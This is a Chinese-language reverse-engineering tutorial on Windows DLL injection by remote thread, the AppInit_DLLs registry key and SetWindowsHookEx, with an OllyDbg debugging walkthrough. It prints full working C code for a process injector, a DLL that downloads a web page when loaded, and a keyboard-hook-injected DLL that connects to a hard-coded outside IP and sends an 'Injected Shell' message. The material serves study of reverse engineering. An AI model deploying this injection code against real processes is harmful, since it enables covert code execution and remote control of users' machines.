本节内容 通过对实例的展示,理解DLL注入的技术过程
从技术细节上来说,DLL注入命令其他进程自行调用LoadLibrary()API,加载用户指定的DLL文件(LoadLibrary参数)
注入后的DLL获得访问被注入进程内存空间的正当访问权限,可以左右程序运行逻辑
DLL注入的三种实现方法:
创建远程线程(CreateRemoteThead() API)
使用注册表(AppInit_DLLs值)
消息钩取(SetWindowsHookEx() API)
DLL特性,在被加载时会启动DllMain()函数 ,利用该特性可修复程序或个程序添加新功能。
远程线程注入 该方案在目标进程内开启线程设置线程的回调函数完成DLL注入
示例用到的:InjeckDll.exe作为注入器,而myHack.dll中的DllMain中进行字符串输出用于检测DLL注入随后在被注入进程中开启线程完成对回调函数ThreadProc的调用实现下载网页的效果。这一切都是在DLL被注入时自动调用DllMain完成的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 int _tmain(int argc, TCHAR *argv[]){ if ( argc != 3 ) { _tprintf(L"USAGE : %s <pid> <dll_path>\n" , argv[0 ]); return 1 ; } if ( !SetPrivilege (SE_DEBUG_NAME, TRUE) ) return 1 ; if ( InjectDll ((DWORD)_tstol(argv[1 ]), argv[2 ]) ) _tprintf(L"InjectDll(\"%s\") success!!!\n" , argv[2 ]); else _tprintf(L"InjectDll(\"%s\") failed!!!\n" , argv[2 ]); return 0 ; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 BOOL InjectDll (DWORD dwPID, LPCTSTR szDllPath) { HANDLE hProcess = NULL , hThread = NULL ; HMODULE hMod = NULL ; LPVOID pRemoteBuf = NULL ; DWORD dwBufSize = (DWORD)(_tcslen(szDllPath) + 1 ) * sizeof (TCHAR); LPTHREAD_START_ROUTINE pThreadProc; if ( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)) ) { _tprintf(L"OpenProcess(%d) failed!!! [%d]\n" , dwPID, GetLastError()); return FALSE; } pRemoteBuf = VirtualAllocEx(hProcess, NULL , dwBufSize, MEM_COMMIT, PAGE_READWRITE); WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)szDllPath, dwBufSize, NULL ); hMod = GetModuleHandle(L"kernel32.dll" ); pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hMod, "LoadLibraryW" ); hThread = CreateRemoteThread(hProcess, NULL , 0 , pThreadProc, pRemoteBuf, 0 , NULL ); WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread); CloseHandle(hProcess); return TRUE; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 ... #pragma comment(lib, "urlmon.lib" ) #define DEF_URL (L"http://www.naver.com/index.html" ) #define DEF_FILE_NAME (L"index.html" ) HMODULE g_hMod = NULL ; DWORD WINAPI ThreadProc (LPVOID lParam) { TCHAR szPath[_MAX_PATH] = {0 ,}; if ( !GetModuleFileName( g_hMod, szPath, MAX_PATH ) ) return FALSE; TCHAR *p = _tcsrchr( szPath, '\\' ); if ( !p ) return FALSE; _tcscpy_s(p+1 , _MAX_PATH, DEF_FILE_NAME); URLDownloadToFile(NULL , DEF_URL, szPath, 0 , NULL ); return 0 ; } BOOL WINAPI DllMain (HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { HANDLE hThread = NULL ; g_hMod = (HMODULE)hinstDLL; switch ( fdwReason ) { case DLL_PROCESS_ATTACH : OutputDebugString(L"<myhack.dll> Injection!!!" ); hThread = CreateThread(NULL , 0 , ThreadProc, NULL , 0 , NULL ); CloseHandle(hThread); break ; } return TRUE; }
梳理下流程:
Inject.exe在判断传入的参数个数是否满足,满足 -> 调用Inject()
在Inject.dll里,会利用OpenProcess先行判断传递的pid是否有效,返回句柄hProcess
借有main函数中提升的特权,利用VirtualAllocEx在目标进程开辟一段空间,后续使用,返回开辟的空间首地址
调用WriteProcessMemory将dll绝对路径字符串进行写入。
获取Kernel.LoadLibraryW的API地址,参数(已写入的待注入Dll完整路径)为先前写入目标进程开辟出的空间
在使用CreateRemoteThread在进程中开启线程将该函数的回调函数参数设置成LoadLibraryW并填充相应的参数完成dll的载入
当DLL注入成功,会调用inject.dll -> DllMain,一下部分是在DllMain自动完成的:
fdwReason = DLL_PROCESS_ATTACH,输出注入成功的字符串。在Inject.exe中开辟线程CreateThread,在创建的线程内执行dll.ThreadProc函数。
由于g_hMod指向的是dll文件自身,在dll.ThreadProc内部调用GetModuleFileName查找dll文件的绝对路径,存放在szPath中,在经过路径的字符切分,最后调用URLDownloadToFile,传入路径与下载资源的位置,即将远程资源下载到和dll文件同目录下。
调试部分 经过上述分析,大概调试思路也有了:使用OD打开notepad.exe,F9让notepad.exe开始运行,再打开DebuggingOptions中的载入新模块时中断,在用Injeck.exe传入notepad.exe的pid以及myhack.dll的路径,回车,OD停在myhack.dll模块的(Injeck.exe需要给管理员权限)
OD载入notepad.exe并F9执行
打开OD的DebuggingOptions -> 在新模块载入时中断:
管理员权限给终端在启动Inject.exe,并设置参数
pid:
OD停在myhack.dll的位置,进入myhack.dll的区域:
myhack.dll部分
此处对应源码中如下的部分,完成的功能是验证所给Injeck.exe的参数notepad.exe的pid以及待注入myhack.dll的路径是否正确
1 2 3 4 5 6 7 8 9 DWORD WINAPI ThreadProc (LPVOID lParam) { if ( !GetModuleFileName( g_hMod, szPath, MAX_PATH ) ) return FALSE; }
完成的是对应源码
1 2 3 4 5 6 7 8 9 10 DWORD WINAPI ThreadProc (LPVOID lParam) { TCHAR *p = _tcsrchr( szPath, '\\' ); if ( !p ) return FALSE; }
截取dll文件的绝对路径将最后一个斜杆后边的内容截断取前面部分,位置后下载的网页文件做保存路径的拼接
eax, eax```影响标志位,判断eax值是否为0,若配合je jne等于0 fiag相关的跳转指令可完成条件判断。这里eax来自于_tcsrchr查找字符串的结果返回值。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 {% asset_img 8.png %} 完成路径拼接,这里保存的路径适合dll文件同目录下的.../index.heml ```C //... DWORD WINAPI ThreadProc(LPVOID lParam) { //... _tcscpy_s(p+1, _MAX_PATH, DEF_FILE_NAME); //... } //...
完成文件的下载
注册表字段注入
Windows操作系统的注册表中默认提供了AppInit_DLLs与LoadAppinit_DLLs两个注册表项,将要注入的DLL文件路径写入AppInit_DLLs项目中,再将Load_AppInit_DLLs设置为1,重启后,DLL会注入所有运行进程。
原理是:User32.dll被加载到进程后,会读取AppInit_DLLs注册表项,若有值,则调用LoadLibrary() API加载用户DLL,严格上来说,用户DLL文件并不会被加载到所有进程,只是加载到加载了user32.dll的那些进程。ps:windows XP会忽略LoadAppInit_DLLs注册表项。
注册表项路径:HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Window\Appinit_Dlls
SetWindowsHookEx方法 和前边方法一差不多,也是通过设置SetWindowsHookEx的回调函数并设置相应参数即可,相信经过上边第一个例子以及上一篇文章《逆核系列No.6–Windows Hook》 ,不难理解如下利用SetWindowsHookEx完成DLL注入的代码(code source ):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 #include <windows.h> int main (int argc, char * argv) { HMODULE dll = LoadLibrary("inject.dll" ); if (dll == NULL ) { printf ("Cannot find DLL" ); getchar(); return -1 ; } HOOKPROC addr = (HOOKPROC)GetProcAddress(dll, "inject" ); if (addr == NULL ) { printf ("Cannot find the function" ); getchar(); return -1 ; } HHOOK handle = SetWindowsHookEx(WH_KEYBOARD, addr, dll, 0 ); if (handle == NULL ) { printf ("Couldn't hook the keyboard" ); } printf ("Hooked the program, hit enter to exit" ); getchar(); UnhookWindowsHookEx(handle); return 0 ; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 #include <stdio.h> #include <winsock2.h> #include <windows.h> INT APIENTRY DllMain (HMODULE hDll, DWORD Reason, LPVOID Reserved) { FILE *file; fopen_s(&file, "C:\temp.txt" , "a+" ); switch (Reason) { case DLL_PROCESS_ATTACH: fprintf (file, "DLL attach function called.n" ); break ; case DLL_PROCESS_DETACH: fprintf (file, "DLL detach function called.n" ); break ; case DLL_THREAD_ATTACH: fprintf (file, "DLL thread attach function called.n" ); break ; case DLL_THREAD_DETACH: fprintf (file, "DLL thread detach function called.n" ); break ; } fclose(file); return TRUE; } int inject (int code, WPARAM wParam, LPARAM lParam) { WSADATA wsa; SOCKET s; struct sockaddr_in server ; char *message; printf ("\nInitializing Winsock..." ); if (WSAStartup(MAKEWORD(2 ,2 ),&wsa) != 0 ) { printf ("Failed. Error Code : %d" , WSAGetLastError()); return (CallNextHookEx(NULL , code, wParam, lParam)); } printf ("Initialized. \n" ); if ((s = socket(AF_INET, SOCK_STREAM, 0 )) == INVALID_SOCKET) { printf ("Could not create socket : %d" , WSAGetLastError()); } printf ("Socket Created. \n" ); server.sin_addr.s_addr = inet_addr("192.168.146.130" ); server.sin_family = AF_INET; server.sin_port = htons( 443 ); if (connect(s, (struct sockaddr *)&server, sizeof (server)) < 0 ) { puts ("connect error" ); return (CallNextHookEx(NULL , code, wParam, lParam)); } puts ("Connected" ); message = "Injected Shell" ; if ( send(s, message, strlen (message), 0 ) <0 ) { puts ("Send failed" ); return (CallNextHookEx(NULL , code, wParam, lParam)); } puts ("Data sent\n" ); return (CallNextHookEx(NULL , code, wParam, lParam)); }